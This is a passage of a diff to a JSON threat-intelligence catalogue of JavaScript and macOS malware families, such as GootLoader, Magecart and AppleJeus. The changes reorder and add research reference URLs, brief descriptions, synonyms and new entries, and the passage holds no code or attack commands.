"https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/", - "https://unit42.paloaltonetworks.com/chromeloader-malware/" + "https://unit42.paloaltonetworks.com/chromeloader-malware/", + "https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/" ], "synonyms": [], "type": [] @@ -7421,8 +7898,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman", - "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/", - "https://www.prevailion.com/darkwatchman-new-fileness-techniques/" + "https://www.prevailion.com/darkwatchman-new-fileness-techniques/", + "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/" ], "synonyms": [], "type": [] @@ -7451,6 +7928,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.doenerium", + "https://perception-point.io/doenerium-malware/", "https://twitter.com/0xToxin/status/1572612089901993985" ], "synonyms": [], @@ -7475,21 +7953,21 @@ "value": "Enrume" }, { - "description": "", + "description": "According proofpoint, EvilNum is a backdoor that can be used for data theft or to load additional payloads. The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum", - "http://blog.nsfocus.net/agentvxapt-evilnum/", + "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", "https://github.com/eset/malware-ioc/tree/master/evilnum", + "http://blog.nsfocus.net/agentvxapt-evilnum/", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", + "http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html", + "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", - "http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", - "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf" + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/" ], "synonyms": [], "type": [] @@ -7502,27 +7980,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/", "https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends", - "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html", - "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", - "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html", + "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html", "https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", "https://experience.mandiant.com/trending-evil/p/1", - "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm" + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", + "https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems" ], "synonyms": [ "FakeUpdate", @@ -7530,15 +8010,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "cd32b19e-c365-4efc-9998-548e50e04a4c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "cff35ce3-8d6f-417b-ae6c-a9e6a60ee26c", "value": "FAKEUPDATES" }, @@ -7547,30 +8018,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader", - "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", + "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html", "https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader", - "https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", - "https://community.riskiq.com/article/f5d5ed38", - "https://redcanary.com/blog/gootloader", - "https://experience.mandiant.com/trending-evil/p/1", - "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", - "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html" + "https://www.esentire.com/web-native-pages/gootloader-unloaded", + "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", + "https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations", + "https://experience.mandiant.com/trending-evil/p/1", + "https://www.esentire.com/blog/gootloader-leads-to-cobalt-strike-and-hand-on-keyboard-activity", + "https://www.esentire.com/blog/gootloader-striking-with-a-new-infection-technique", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://redcanary.com/blog/gootloader", + "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", + "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", + "https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/", + "https://community.riskiq.com/article/f5d5ed38" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "0bdb6f1c-1229-4556-a535-7444ddfbd7a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5b2569e5-aeb2-4708-889f-c6d598bd5e14", "value": "GootLoader" }, @@ -7580,8 +8046,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.grelos", "https://www.riskiq.com/blog/labs/magecart-medialand/", - "https://community.riskiq.com/article/8c4b4a7a", - "https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745" + "https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745", + "https://community.riskiq.com/article/8c4b4a7a" ], "synonyms": [], "type": [] @@ -7594,20 +8060,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.mandiant.com/resources/evolution-of-fin7", "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", - "https://twitter.com/ItsReallyNick/status/1059898708286939136" + "https://twitter.com/ItsReallyNick/status/1059898708286939136", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" ], "synonyms": [ "Harpy" @@ -7675,10 +8141,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack", "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", "https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://blog.angelalonso.es/2017/10/analysis-of-malicious-doc-used-by-turla.html" ], "synonyms": [], "type": [] @@ -7687,14 +8157,14 @@ "value": "KopiLuwak" }, { - "description": "", + "description": "The LNKR trojan is a malicious browser extension that will monitor the websites visited by the user, looking for pages with administrative privileges such as blog sites or web-based virtual learning environments. When the administrative user posts to the page, the infected extension will execute stored cross-site scripting attack and injects malicious JavaScript into the legitimate HTML of the page. This is used to redirect the second-party visitors of the site to both benign and malicious domains. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr", - "https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/", "https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md", + "https://www.riskiq.com/blog/labs/lnkr-browser-extension/", "https://github.com/Zenexer/lnkr", - "https://www.riskiq.com/blog/labs/lnkr-browser-extension/" + "https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/" ], "synonyms": [], "type": [] @@ -7708,63 +8178,64 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart", "https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", "https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/", - "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", - "https://community.riskiq.com/article/743ea75b/description", "https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", - "https://sansec.io/research/north-korea-magecart", - "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", - "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.goggleheadedhacker.com/blog/post/14", - "https://www.riskiq.com/blog/labs/magecart-nutribullet/", - "https://twitter.com/AffableKraut/status/1415425132080816133?s=20", - "https://twitter.com/MBThreatIntel/status/1416101496022724609", - "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", - "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", - "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", - "https://www.riskiq.com/blog/labs/magecart-medialand/", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", - "https://geminiadvisory.io/magecart-google-tag-manager/", - "https://community.riskiq.com/article/fda1f967", - "https://sansec.io/research/magento-2-persistent-parasite", - "https://community.riskiq.com/article/2efc2782", "https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter", - "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", "https://sansec.io/research/magecart-corona-lockdown", - "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", - "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", - "https://community.riskiq.com/article/017cf2e6", - "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", - "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", "https://community.riskiq.com/article/30f22a00", "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", - "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", - "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", - "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", - "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", - "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", - "https://community.riskiq.com/article/14924d61", - "https://community.riskiq.com/article/5bea32aa", + "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", + "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", + "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", + "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", + "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", + "https://community.riskiq.com/article/743ea75b/description", "https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://twitter.com/AffableKraut/status/1385030485676544001", "https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf", - "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", - "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", + "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/", + "https://community.riskiq.com/article/2efc2782", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", + "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", - "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/" + "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", + "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", + "https://twitter.com/MBThreatIntel/status/1416101496022724609", + "https://community.riskiq.com/article/017cf2e6", + "https://community.riskiq.com/article/5bea32aa", + "https://www.goggleheadedhacker.com/blog/post/14", + "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", + "https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season", + "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", + "https://www.riskiq.com/blog/labs/magecart-nutribullet/", + "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", + "https://twitter.com/AffableKraut/status/1385030485676544001", + "https://sansec.io/research/magento-2-persistent-parasite", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", + "https://community.riskiq.com/article/14924d61", + "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", + "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", + "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", + "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", + "https://community.riskiq.com/article/fda1f967", + "https://sansec.io/research/north-korea-magecart", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", + "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", + "https://geminiadvisory.io/magecart-google-tag-manager/", + "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", + "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", + "https://twitter.com/AffableKraut/status/1415425132080816133?s=20" ], "synonyms": [], "type": [] @@ -7790,30 +8261,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs", - 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"https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/", + "https://blog.gigamon.com/2022/09/28/investigating-web-shells/", "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", - "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/" + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", + "https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/" ], "synonyms": [], "type": [] @@ -8160,30 +8626,60 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.3cx_backdoor", + "https://objective-see.org/blog/blog_0x73.html", + "https://objective-see.org/blog/blog_0x74.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d5e10bf9-9de8-46be-96d0-aa502b14ffe8", + "value": "3CX Backdoor (OS X)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos", + "https://blog.cyble.com/2023/04/26/threat-actor-selling-new-atomic-macos-amos-stealer-on-telegram/" + ], + "synonyms": [ + "Atomic macOS Stealer" + ], + "type": [] + }, + "uuid": "2fa2be52-e44f-4998-bde7-c66cfb6f4521", + "value": "AMOS" + }, + { + "description": "According to PcRisk AppleJeus is the name of backdoor malware that was distributed by the Lazarus group. They spread this malicious software through a fake app disguised as a cryptocurrency trading application called Celas Trade Pro.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://securelist.com/operation-applejeus-sequel/95596/", - "https://objective-see.com/blog/blog_0x54.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", - "https://objective-see.com/blog/blog_0x49.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", - "https://objective-see.com/blog/blog_0x5F.html", - "https://securelist.com/operation-applejeus/87553/", - "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://www.youtube.com/watch?v=1NkzTKkEM2k", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", + "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "https://objective-see.com/blog/blog_0x54.html", + "https://objective-see.com/blog/blog_0x49.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://www.youtube.com/watch?v=1NkzTKkEM2k", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://www.youtube.com/watch?v=rjA0Vf75cYk", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "https://securelist.com/operation-applejeus-sequel/95596/", + "https://securelist.com/operation-applejeus/87553/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.youtube.com/watch?v=rjA0Vf75cYk" ], "synonyms": [], "type": [] @@ -8211,11 +8707,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore", - "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c", + "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/", "https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20", - "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/" + "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", + "https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [ "SurfBuyer" @@ -8260,8 +8756,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds", "https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/", - "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/", - "https://objective-see.com/blog/blog_0x69.html" + "https://objective-see.com/blog/blog_0x69.html", + "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/" ], "synonyms": [ "Macma" @@ -8276,9 +8772,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi", - "https://redcanary.com/blog/chromeloader/", - "https://www.th3protocol.com/2022/Choziosi-Loader", "https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension", + "https://www.th3protocol.com/2022/Choziosi-Loader", + "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension", + "https://redcanary.com/blog/chromeloader/", "https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/" ], "synonyms": [ @@ -8295,7 +8792,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cloud_mensis", - "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/" + "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/", + "https://twitter.com/ESETresearch/status/1575103839115804672" ], "synonyms": [], "type": [] @@ -8308,8 +8806,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief", - "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/", - "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed" + "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", + "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/" ], "synonyms": [], "type": [] @@ -8322,8 +8820,8 @@ "meta": { "refs": [ 